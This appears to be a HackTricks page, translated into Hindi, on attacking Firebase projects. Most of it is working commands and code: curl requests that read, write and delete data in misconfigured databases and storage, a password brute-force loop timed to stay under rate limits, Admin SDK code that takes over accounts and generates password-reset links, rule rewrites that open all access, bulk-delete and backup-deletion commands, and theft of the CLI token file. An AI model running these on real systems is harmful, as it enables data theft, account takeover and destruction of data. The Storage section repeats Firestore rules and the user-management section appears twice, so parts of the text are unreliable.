GCP - Firebase Privesc

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

• सदस्यता योजनाओं की जांच करें!
• हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
• हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।

Firebase

Firebase Realtime Database में बिना प्रमाणीकरण के एक्सेस

एक हमलावर को इस हमले को करने के लिए किसी विशेष Firebase permissions की आवश्यकता नहीं होती। केवल यह आवश्यक है कि Firebase Realtime Database security rules में एक कमजोर कॉन्फ़िगरेशन हो, जहाँ नियम .read: true या .write: true पर सेट हों, जिससे सार्वजनिक पढ़ने या लिखने की अनुमति मिलती है।

हमलावर को database URL पहचानना होगा, जो आमतौर पर इस फ़ॉर्मेट का होता है: https://<project-id>.firebaseio.com/.

यह URL mobile application reverse engineering (decompiling Android APKs or analyzing iOS apps), configuration फ़ाइलों के विश्लेषण जैसे google-services.json (Android) या GoogleService-Info.plist (iOS), web applications के source code के निरीक्षण, या network traffic की जाँच करके जहाँ *.firebaseio.com domains के लिए requests दिखाई दें, के माध्यम से पाया जा सकता है।

हमलावर database URL पहचानकर जाँच करता है कि क्या यह सार्वजनिक रूप से एक्सपोज़्ड है, फिर डेटा तक पहुँचता है और संभावित रूप से दुर्भावनापूर्ण जानकारी लिख सकता है।

सबसे पहले, वे URL के अंत में .json जोड़कर जाँच करते हैं कि डेटाबेस पढ़ने की अनुमति देता है या नहीं।

curl https://<project-id>-default-rtdb.firebaseio.com/.json

यदि response में JSON डेटा या null (बजाए “Permission Denied” के) आता है, तो database read access की अनुमति देता है। write access की जाँच करने के लिए attacker Firebase REST API का उपयोग करके एक test write request भेजने का प्रयास कर सकता है।

curl -X PUT https://<project-id>-default-rtdb.firebaseio.com/test.json -d '{"test": "data"}'

यदि ऑपरेशन सफल होता है, तो डेटाबेस को write access भी मिल जाता है।

Cloud Firestore में डेटा का खुलासा

An attacker को इस attack को करने के लिए किसी विशिष्ट Firebase permissions की आवश्यकता नहीं होती। इसके लिए बस यह होना चाहिए कि Cloud Firestore security rules में कोई vulnerable configuration मौजूद हो, जहाँ नियम बिना authentication के या अपर्याप्त validation के साथ read या write access की अनुमति देते हों। full access देने वाले misconfigured rule का एक उदाहरण है:

service cloud.firestore {
match /databases/{database}/documents/{document=**} {
allow read, write: if true;
}
}

यह नियम किसी को भी बिना किसी प्रतिबंध के सभी दस्तावेज़ों को पढ़ने और लिखने की अनुमति देता है। Firestore नियम बहुत सूक्ष्म होते हैं और प्रत्येक collection तथा document पर लागू होते हैं, इसलिए किसी विशिष्ट नियम में त्रुटि केवल कुछ collections को ही उजागर कर सकती है।

हमलावर को Firebase Project ID की पहचान करनी होगी, जो mobile app reverse engineering, google-services.json या GoogleService-Info.plist जैसे configuration files के विश्लेषण, वेब अनुप्रयोगों के source code का निरीक्षण, या firestore.googleapis.com के लिए किए जाने वाले अनुरोधों की पहचान करने हेतु network traffic के विश्लेषण के माध्यम से मिल सकती है। The Firestore REST API निम्न प्रारूप का उपयोग करती है:

https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>

यदि नियम unauthenticated read access की अनुमति देते हैं, तो हमलावर collections और documents पढ़ सकता है। सबसे पहले, वे एक विशिष्ट collection तक पहुँचने का प्रयास करते हैं:

curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>

यदि प्रतिक्रिया में permission error के बजाय JSON documents शामिल हैं, तो collection उजागर है। attacker सामान्य नाम आज़माकर या application की संरचना का विश्लेषण करके सभी पहुँच योग्य collections को enumerate कर सकता है। किसी विशिष्ट document तक पहुँचने के लिए:

curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>

यदि नियम unauthenticated write access की अनुमति देते हैं या validation अपर्याप्त है, तो attacker नए documents बना सकता है:

curl -X POST https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection> \
-H "Content-Type: application/json" \
-d '{
"fields": {
"name": {"stringValue": "Test"},
"email": {"stringValue": "test@example.com"}
}
}'

मौजूदा दस्तावेज़ को संशोधित करने के लिए PATCH का उपयोग करना चाहिए:

curl -X PATCH https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/users/<user-id> \
-H "Content-Type: application/json" \
-d '{
"fields": {
"role": {"stringValue": "admin"}
}
}'

एक दस्तावेज़ हटाकर denial of service पैदा करने के लिए:

curl -X DELETE https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>

Firebase Storage में फ़ाइलों का खुलासा

एक attacker को इस attack को अंजाम देने के लिए किसी विशिष्ट Firebase permissions की आवश्यकता नहीं होती। यह केवल इसलिए पर्याप्त है कि Firebase Storage security rules में कोई कमजोर कॉन्फ़िगरेशन मौजूद हो, जहाँ rules बिना authentication के या अपर्याप्त validation के साथ read या write access की अनुमति देते हों। Storage rules read और write permissions को स्वतंत्र रूप से नियंत्रित करते हैं, इसलिए किसी rule की गलती केवल read access, केवल write access, या दोनों को उजागर कर सकती है। एक misconfigured rule का उदाहरण जो full access देता है:

service cloud.firestore {
match /databases/{database}/documents/{document=**} {
allow read, write: if true;
}
}

यह नियम किसी भी प्रतिबंध के बिना सभी documents के लिए read और write एक्सेस की अनुमति देता है। Firestore rules granular होते हैं और उन्हें प्रति collection और प्रति document लागू किया जाता है, इसलिए किसी विशिष्ट नियम की गलती केवल कुछ collections को उजागर कर सकती है। हमलावर को Firebase Project ID की पहचान करनी होगी, जिसे mobile application reverse engineering, configuration फाइलों के विश्लेषण (जैसे google-services.json या GoogleService-Info.plist), वेब एप्लिकेशन के स्रोत कोड का निरीक्षण, या नेटवर्क ट्रैफ़िक विश्लेषण जिसके माध्यम से firestore.googleapis.com पर किए गए requests की पहचान हो सके, के ज़रिए पाया जा सकता है।

Firestore REST API निम्न प्रारूप का उपयोग करता है:https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>.

यदि rules unauthenticated read access की अनुमति देते हैं, तो हमलावर collections और documents को पढ़ सकता है। पहले वे किसी विशिष्ट collection तक पहुँचने का प्रयास करते हैं।

curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o"
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?prefix=<path>"

यदि response में permission error की बजाय files की सूची है, तो file exposed है। Attacker files की सामग्री उनका path निर्दिष्ट करके देख सकता है:

curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<urlencode(path)>"

यदि नियम unauthenticated write access की अनुमति देते हैं या validation अपर्याप्त है, तो attacker malicious files upload कर सकता है। REST API के माध्यम से फाइल upload करने के लिए:

curl -X POST "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?name=<path>" \
-H "Content-Type: <content-type>" \
--data-binary @<local-file>

हमलावर code shells, malware payloads, या बड़ी फ़ाइलें अपलोड करके denial of service कर सकता है। यदि एप्लिकेशन अपलोड की गई फ़ाइलों को प्रोसेस या execute करता है, तो हमलावर remote code execution प्राप्त कर सकता है। फ़ाइलें हटाकर और denial of service पैदा करने के लिए:

curl -X DELETE "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<path>"

सार्वजनिक Firebase Cloud Functions का इनवोकेशन

एक हमलावर को इस समस्या का शोषण करने के लिए किसी विशेष Firebase अनुमतियों की आवश्यकता नहीं होती; इसके लिए केवल यह आवश्यक है कि एक Cloud Function HTTP पर बिना प्रमाणीकरण के सार्वजनिक रूप से उपलब्ध हो।

एक फ़ंक्शन असुरक्षित रूप से कॉन्फ़िगर होने पर संवेदनशील होता है:

• यह functions.https.onRequest का उपयोग करता है, जो प्रमाणीकरण लागू नहीं करता (onCall functions के विपरीत)।
• फ़ंक्शन का कोड user authentication को validate नहीं करता (उदाहरण: request.auth या context.auth के कोई चेक नहीं)।
• फ़ंक्शन IAM में सार्वजनिक रूप से उपलब्ध है, जिसका अर्थ है कि allUsers के पास roles/cloudfunctions.invoker रोल है। यह HTTP फ़ंक्शन्स के लिए डिफ़ॉल्ट व्यवहार है जब तक डेवलपर ने पहुँच सीमित न की हो।

Firebase HTTP Cloud Functions निम्नलिखित URLs के माध्यम से एक्सपोज़ होते हैं:

• https://<region>-<project-id>.cloudfunctions.net/<function-name>
• https://<project-id>.web.app/<function-name> (when integrated with Firebase Hosting)

एक हमलावर इन URLs को source code analysis, network traffic inspection, enumeration tools, या mobile app reverse engineering के माध्यम से खोज सकता है। यदि फ़ंक्शन सार्वजनिक रूप से एक्सपोज़ और बिना प्रमाणीकरण के है, तो हमलावर इसे सीधे बिना क्रेडेंशियल्स के invoke कर सकता है।

# Invoke public HTTP function with GET
curl "https://<region>-<project-id>.cloudfunctions.net/<function-name>"
# Invoke public HTTP function with POST and data
curl -X POST "https://<region>-<project-id>.cloudfunctions.net/<function-name>" \
-H "Content-Type: application/json" \
-d '{"param1": "value1", "param2": "value2"}'

यदि फ़ंक्शन इनपुट को सही ढंग से सत्यापित नहीं करता है, तो हमलावर अन्य हमलों का प्रयास कर सकता है जैसे code injection या command injection।

Brute-force attack against Firebase Authentication with a weak password policy

एक हमलावर को इस हमले को करने के लिए किसी विशेष Firebase permissions की आवश्यकता नहीं होती। इसके लिए केवल यह आवश्यक है कि Firebase API Key मोबाइल या वेब applications में एक्सपोज़ हो और पासवर्ड नीति डिफ़ॉल्ट से कठोर आवश्यकताओं के साथ कॉन्फ़िगर न की गई हो।

हमलावर को Firebase API Key की पहचान करनी होगी, जिसे mobile app reverse engineering, configuration files जैसे google-services.json या GoogleService-Info.plist के विश्लेषण, वेब applications के source code (उदा., bootstrap.js) का निरीक्षण, या नेटवर्क ट्रैफ़िक के विश्लेषण के माध्यम से पाया जा सकता है।

Firebase Authentication’s REST API निम्नलिखित endpoint का उपयोग करता है: https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY> email और password से authenticate करने के लिए।

यदि Email Enumeration Protection disabled है, तो API error responses यह उजागर कर सकते हैं कि कोई email सिस्टम में मौजूद है या नहीं (EMAIL_NOT_FOUND vs. INVALID_PASSWORD), जो हमलावरों को password guessing से पहले users को enumerate करने की अनुमति देता है। जब यह protection enabled होता है, तो API दोनों nonexistent emails और incorrect passwords के लिए एक ही error संदेश लौटाता है, जिससे user enumeration रोका जाता है।

यह ध्यान देने योग्य है कि Firebase Authentication rate limiting को लागू करता है, जो बहुत अधिक authentication प्रयासों के कारण कम समय में requests को ब्लॉक कर सकता है। इसलिए, हमलावर को rate-limited होने से बचने के लिए प्रयासों के बीच विलंब डालना होगा।

हमलावर API Key की पहचान करता है और ज्ञात खातों के खिलाफ कई पासवर्ड के साथ authentication प्रयास करता है। यदि Email Enumeration Protection disabled है, तो हमलावर error responses का विश्लेषण करके मौजूदा users को enumerate कर सकता है:

# Attempt authentication with a known email and an incorrect password
curl -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
-H "Content-Type: application/json" \
-d '{
"email": "usuario@example.com",
"password": "password",
"returnSecureToken": true
}'

यदि प्रतिक्रिया में EMAIL_NOT_FOUND आता है, तो ईमेल सिस्टम में मौजूद नहीं है। यदि इसमें INVALID_PASSWORD आता है, तो ईमेल मौजूद है लेकिन पासवर्ड गलत है, जिससे पुष्टि होती है कि उपयोगकर्ता पंजीकृत है। एक बार वैध उपयोगकर्ता की पहचान हो जाने पर, हमलावर brute-force प्रयास कर सकता है। Firebase Authentication’s rate-limiting mechanisms से बचने के लिए प्रयासों के बीच विराम रखना महत्वपूर्ण है:

counter=1
for password in $(cat wordlist.txt); do
echo "Intento $counter: probando contraseña '$password'"
response=$(curl -s -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
-H "Content-Type: application/json" \
-d "{\"email\":\"usuario@example.com\",\"password\":\"$password\",\"returnSecureToken\":true}")

if echo "$response" | grep -q "idToken"; then
echo "Contraseña encontrada: $password (intento $counter)"
break
fi

# Stop for the rate limiting
sleep 1
counter=$((counter + 1))
done

डिफ़ॉल्ट पासवर्ड पॉलिसी (न्यूनतम 6 अक्षर, कोई जटिलता आवश्यकताएँ नहीं) के साथ, हमलावर सभी संभावित 6-अक्षर वाले पासवर्ड संयोजनों को आज़मा सकता है, जो कि कड़ी पासवर्ड नीतियों की तुलना में अपेक्षाकृत छोटा खोज स्थान प्रस्तुत करता है।

Firebase Authentication में उपयोगकर्ता प्रबंधन

इस हमले को अंजाम देने के लिए हमलावर को Firebase Authentication के कुछ विशिष्ट permissions की आवश्यकता होती है। आवश्यक permissions हैं:

• firebaseauth.users.create उपयोगकर्ता बनाने के लिए
• firebaseauth.users.update मौजूदा उपयोगकर्ताओं में संशोधन करने के लिए
• firebaseauth.users.delete उपयोगकर्ताओं को हटाने के लिए
• firebaseauth.users.get उपयोगकर्ता जानकारी प्राप्त करने के लिए
• firebaseauth.users.sendEmail उपयोगकर्ताओं को ईमेल भेजने के लिए
• firebaseauth.users.createSession उपयोगकर्ता सेशन्स बनाने के लिए

ये permissions roles/firebaseauth.admin role में शामिल हैं, जो Firebase Authentication संसाधनों के लिए पूरा read/write एक्सेस प्रदान करता है। ये उच्च-स्तरीय roles जैसे roles/firebase.developAdmin (जिसमें सभी firebaseauth.* permissions शामिल हैं) और roles/firebase.admin (सभी Firebase सेवाओं के लिए पूर्ण एक्सेस) में भी शामिल होते हैं।

Firebase Admin SDK का उपयोग करने के लिए, हमलावर को service account credentials (JSON file) तक पहुँच की आवश्यकता होगी, जो कि समझौता किए गए सिस्टमों, सार्वजनिक रूप से एक्सपोज़ किए गए कोड रिपॉज़िटरीज़, समझौता किए गए CI/CD सिस्टमों, या उन डेवलपर खातों के समझौते के माध्यम से मिल सकते हैं जिनके पास ये credentials होते हैं।

पहला कदम service account credentials का उपयोग करके Firebase Admin SDK को कॉन्फ़िगर करना है।

import firebase_admin
from firebase_admin import credentials, auth
cred = credentials.Certificate('path/to/serviceAccountKey.json')
firebase_admin.initialize_app(cred)

किसी victim के email का उपयोग करके एक malicious user बनाने के लिए, attacker Firebase Admin SDK का उपयोग करके उस email के तहत एक नया account बनाने का प्रयास करेगा।

user = auth.create_user(
email='victima@example.com',
email_verified=False,
password='password123',
display_name='Usuario Malicioso',
disabled=False
)
print(f'Usuario creado: {user.uid}')

किसी मौजूदा उपयोगकर्ता को संशोधित करने के लिए, attacker ईमेल पता, सत्यापन स्थिति, या यह कि खाता अक्षम है या नहीं जैसी फ़ील्ड्स को अपडेट करेगा।

user = auth.update_user(
uid,
email='nuevo-email@example.com',
email_verified=True,
disabled=False
)
print(f'Usuario actualizado: {user.uid}')

user account को delete कर के denial of service उत्पन्न करने के लिए, attacker user को पूरी तरह remove करने का request भेजेगा।

auth.delete_user(uid)
print('Usuario eliminado exitosamente')

हमलावर मौजूदा उपयोगकर्ताओं की जानकारी उनके UID या ईमेल पते का अनुरोध करके भी प्राप्त कर सकता है।

user = auth.get_user(uid)
print(f'Información del usuario: {user.uid}, {user.email}')
user = auth.get_user_by_email('usuario@example.com')
print(f'Información del usuario: {user.uid}, {user.email}')

इसके अलावा, attacker verification links या password-reset links जनरेट कर सकता है ताकि किसी user का password बदलकर उसके account तक पहुंच हासिल की जा सके।

link = auth.generate_email_verification_link(email)
print(f'Link de verificación: {link}')
link = auth.generate_password_reset_link(email)
print(f'Link de reset: {link}')

Firebase Authentication में उपयोगकर्ता प्रबंधन

एक attacker को इस हमले को अंजाम देने के लिए विशिष्ट Firebase Authentication permissions की आवश्यकता होती है। आवश्यक permissions हैं:

• firebaseauth.users.create उपयोगकर्ता बनाने के लिए
• firebaseauth.users.update मौजूदा उपयोगकर्ताओं में संशोधन करने के लिए
• firebaseauth.users.delete उपयोगकर्ताओं को हटाने के लिए
• firebaseauth.users.get उपयोगकर्ता जानकारी प्राप्त करने के लिए
• firebaseauth.users.sendEmail उपयोगकर्ताओं को ईमेल भेजने के लिए
• firebaseauth.users.createSession उपयोगकर्ता sessions बनाने के लिए

ये permissions roles/firebaseauth.admin role में शामिल हैं, जो Firebase Authentication resources पर पूर्ण read/write access देता है। ये उच्च-स्तरीय roles जैसे roles/firebase.developAdmin (जो सभी firebaseauth.* permissions को शामिल करता है) और roles/firebase.admin (सभी Firebase सेवाओं के लिए पूर्ण एक्सेस) का भी हिस्सा हैं।

Firebase Admin SDK का उपयोग करने के लिए, attacker को service account credentials (एक JSON फ़ाइल) तक पहुँच की आवश्यकता होगी, जिन्हें compromised systems, publicly exposed code repositories, compromised CI/CD environments, या उन developer accounts के compromise के माध्यम से प्राप्त किया जा सकता है जिनके पास इन credentials तक पहुँच है।

पहला कदम service account credentials का उपयोग करके Firebase Admin SDK को configure करना है।

import firebase_admin
from firebase_admin import credentials, auth
cred = credentials.Certificate('path/to/serviceAccountKey.json')
firebase_admin.initialize_app(cred)

पीड़ित के ईमेल का उपयोग करके एक दुर्भावनापूर्ण उपयोगकर्ता बनाने के लिए, हमलावर उस ईमेल के साथ एक नया उपयोगकर्ता खाता बनाने का प्रयास करेगा और अपना पासवर्ड तथा प्रोफ़ाइल जानकारी असाइन करेगा।

user = auth.create_user(
email='victima@example.com',
email_verified=False,
password='password123',
display_name='Usuario Malicioso',
disabled=False
)
print(f'Usuario creado: {user.uid}')

किसी मौजूदा उपयोगकर्ता को संशोधित करने के लिए, हमलावर ऐसे फ़ील्ड बदल देगा जैसे कि ईमेल पता, सत्यापन स्थिति, या यह कि खाता अक्षम है या नहीं।

user = auth.update_user(
uid,
email='nuevo-email@example.com',
email_verified=True,
disabled=False
)
print(f'Usuario actualizado: {user.uid}')

किसी उपयोगकर्ता खाते को हटाने के लिए — प्रभावी रूप से एक denial of service उत्पन्न करते हुए — हमलावर उस उपयोगकर्ता को स्थायी रूप से हटाने का अनुरोध भेजेगा।

auth.delete_user(uid)
print('Usuario eliminado exitosamente')

attacker मौजूदा उपयोगकर्ताओं की जानकारी भी प्राप्त कर सकता है, जैसे उनका UID या email, उपयोगकर्ता विवरण को UID या email address द्वारा अनुरोध करके।

user = auth.get_user(uid)
print(f'Información del usuario: {user.uid}, {user.email}')
user = auth.get_user_by_email('usuario@example.com')
print(f'Información del usuario: {user.uid}, {user.email}')

इसके अतिरिक्त, attacker verification links या password-reset links जेनरेट कर सकता है, जिससे वे किसी उपयोगकर्ता का password बदलकर खाते पर नियंत्रण ले सकते हैं।

link = auth.generate_email_verification_link(email)
print(f'Link de verificación: {link}')
link = auth.generate_password_reset_link(email)
print(f'Link de reset: {link}')

Firebase सेवाओं में सुरक्षा नियमों में संशोधन

attacker को सेवा के अनुसार सुरक्षा नियमों में संशोधन करने के लिए विशिष्ट permissions की आवश्यकता होती है। Cloud Firestore और Firebase Cloud Storage के लिए, आवश्यक permissions firebaserules.rulesets.create (rulesets बनाने के लिए) और firebaserules.releases.create (releases deploy करने के लिए) हैं। ये permissions roles/firebaserules.admin role में शामिल हैं या उच्च-स्तरीय roles जैसे roles/firebase.developAdmin और roles/firebase.admin में। Firebase Realtime Database के लिए, आवश्यक permission firebasedatabase.instances.update है।

attacker को सुरक्षा नियमों में संशोधन करने के लिए Firebase REST API का उपयोग करना होगा। सबसे पहले, attacker को service account credentials का उपयोग करके access token प्राप्त करना होगा। टोकन प्राप्त करने के लिए:

gcloud auth activate-service-account --key-file=path/to/serviceAccountKey.json
ACCESS_TOKEN=$(gcloud auth print-access-token)

Firebase Realtime Database नियमों को संशोधित करने के लिए:

curl -X PUT "https://<project-id>-default-rtdb.firebaseio.com/.settings/rules.json?access_token=$ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"rules": {
".read": true,
".write": true
}
}'

Cloud Firestore नियमों को संशोधित करने के लिए, हमलावर को एक ruleset बनाना होगा और फिर उसे deploy करना होगा:

curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"source": {
"files": [{
"name": "firestore.rules",
"content": "rules_version = '\''2'\'';\nservice cloud.firestore {\n  match /databases/{database}/documents {\n    match /{document=**} {\n      allow read, write: if true;\n    }\n  }\n}"
}]
}
}'

पिछला कमांड projects//rulesets/ प्रारूप में एक ruleset नाम लौटाता है। नए संस्करण को deploy करने के लिए, release को PATCH request का उपयोग करके अपडेट करना होगा:

curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/cloud.firestore" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"release": {
"name": "projects/<project-id>/releases/cloud.firestore",
"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
}
}'

Firebase Cloud Storage नियम संशोधित करने के लिए:

curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"source": {
"files": [{
"name": "storage.rules",
"content": "service firebase.storage {\n  match /b/{bucket}/o {\n    match /{allPaths=**} {\n      allow read, write: if true;\n    }\n  }\n}"
}]
}
}'

पिछला कमांड projects//rulesets/ फ़ॉर्मेट में एक ruleset नाम लौटाता है। नए संस्करण को तैनात करने के लिए, रिलीज़ को PATCH request का उपयोग करके अपडेट करना होगा:

curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/firebase.storage/<bucket-id>" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"release": {
"name": "projects/<project-id>/releases/firebase.storage/<bucket-id>",
"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
}
}'

Data exfiltration and manipulation in Cloud Firestore

Cloud Firestore वही infrastructure और permission सिस्टम इस्तेमाल करता है जो Cloud Datastore में है, इसलिए Datastore IAM permissions सीधे Firestore पर लागू होते हैं। TTL policies को बदलने के लिए datastore.indexes.update permission चाहिए। डेटा export करने के लिए datastore.databases.export permission चाहिए। डेटा import करने के लिए datastore.databases.import permission चाहिए। बड़े पैमाने पर डेटा हटाने के लिए datastore.databases.bulkDelete permission चाहिए।

Backup और restore ऑपरेशन्स के लिए विशेष permissions की आवश्यकता होती है:

• datastore.backups.get और datastore.backups.list उपलब्ध backups को सूचीबद्ध करने और उनके विवरण प्राप्त करने के लिए
• datastore.backups.delete backups को हटाने के लिए
• datastore.backups.restoreDatabase किसी backup से database को restore करने के लिए
• datastore.backupSchedules.create और datastore.backupSchedules.delete backup schedules को manage करने के लिए

जब कोई TTL policy बनाई जाती है, तो deletion के लिए योग्य entities की पहचान के लिए एक निर्दिष्ट property चुनी जाती है। यह TTL property Date and time प्रकार की होनी चाहिए। एक हमलावर पहले से मौजूद किसी property को चुन सकता है या कोई ऐसा property निर्दिष्ट कर सकता है जिसे वे बाद में जोड़ने की योजना बनाते हैं। यदि field का मान अतीत की कोई तारीख है, तो document तुरंत deletion के लिए योग्य हो जाता है। हमलावर TTL policies को बदलने के लिए gcloud CLI का उपयोग कर सकता है।

# Enable TTL
gcloud firestore fields ttls update expireAt \
--collection-group=users \
--enable-ttl
# Disable TTL
gcloud firestore fields ttls update expireAt \
--collection-group=users \
--disable-ttl

डेटा निर्यात करने और इसे exfiltrate करने के लिए, हमलावर gcloud CLI का उपयोग कर सकता है।

gcloud firestore export gs://<bucket-name> --project=<project-id> --async --database='(default)'

दुर्भावनापूर्ण डेटा आयात करने के लिए:

gcloud firestore import gs://<bucket-name>/<path> --project=<project-id> --async --database='(default)'

विस्तृत डेटा हटाने और denial of service पैदा करने के लिए, हमलावर gcloud Firestore bulk-delete tool का उपयोग करके संपूर्ण collections को हटा सकता है।

gcloud firestore bulk-delete \
--collection-ids=users,posts,messages \
--database='(default)' \
--project=<project-id>

backup और restoration ऑपरेशनों के लिए, हमलावर database की वर्तमान स्थिति capture करने के लिए scheduled backups बना सकता है, मौजूदा backups की सूची देख सकता है, हाल के बदलावों को overwrite करने के लिए किसी backup से restore कर सकता है, स्थायी डेटा हानि पैदा करने के लिए backups को delete कर सकता है, और scheduled backups को हटा सकता है। एक दैनिक backup schedule बनाने के लिए जो तुरंत एक backup जनरेट करे:

gcloud firestore backups schedules create \
--database='(default)' \
--recurrence=daily \
--retention=14w \
--project=<project-id>

किसी विशिष्ट बैकअप से पुनर्स्थापित करने के लिए, attacker उस बैकअप में मौजूद डेटा का उपयोग करके एक नया डेटाबेस बना सकता है। रिस्टोर ऑपरेशन बैकअप का डेटा एक नए डेटाबेस में लिखता है, जिसका अर्थ है कि मौजूदा DATABASE_ID का उपयोग नहीं किया जा सकता।

gcloud firestore databases restore \
--source-backup=projects/<project-id>/locations/<location>/backups/<backup-id> \
--destination-database='<new-database-id>' \
--project=<project-id>

एक backup को हटाने और स्थायी data loss का कारण बनने के लिए:

gcloud firestore backups delete \
--backup=<backup-id> \
--project=<project-id>

Firebase CLI credentials की चोरी और दुरुपयोग

एक attacker को इस attack को अंजाम देने के लिए किसी विशेष Firebase permissions की आवश्यकता नहीं होती, लेकिन उन्हें developer के लोकल सिस्टम या Firebase CLI credentials फ़ाइल तक पहुँच चाहिए। ये credentials एक JSON फ़ाइल में संग्रहीत होते हैं, जो निम्न स्थान पर है:

• Linux/macOS: ~/.config/configstore/firebase-tools.json

• Windows: C:\Users[User].config\configstore\firebase-tools.json

यह फ़ाइल authentication tokens रखती है, जिनमें refresh_token और access_token शामिल हैं, जो attacker को उस user के रूप में authenticate करने की अनुमति देते हैं जिसने मूल रूप से firebase login चलाया था।

attacker Firebase CLI credentials फ़ाइल तक पहुँच प्राप्त कर लेता है। वे फिर पूरी फ़ाइल अपनी सिस्टम पर कॉपी कर सकते हैं, और Firebase CLI स्वचालित रूप से अपनी डिफ़ॉल्ट जगह से credentials का उपयोग करेगा। ऐसा करने के बाद attacker उस user द्वारा पहुँच योग्य सभी Firebase projects देख सकता है।

firebase projects:list

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

• सदस्यता योजनाओं की जांच करें!
• हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
• हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।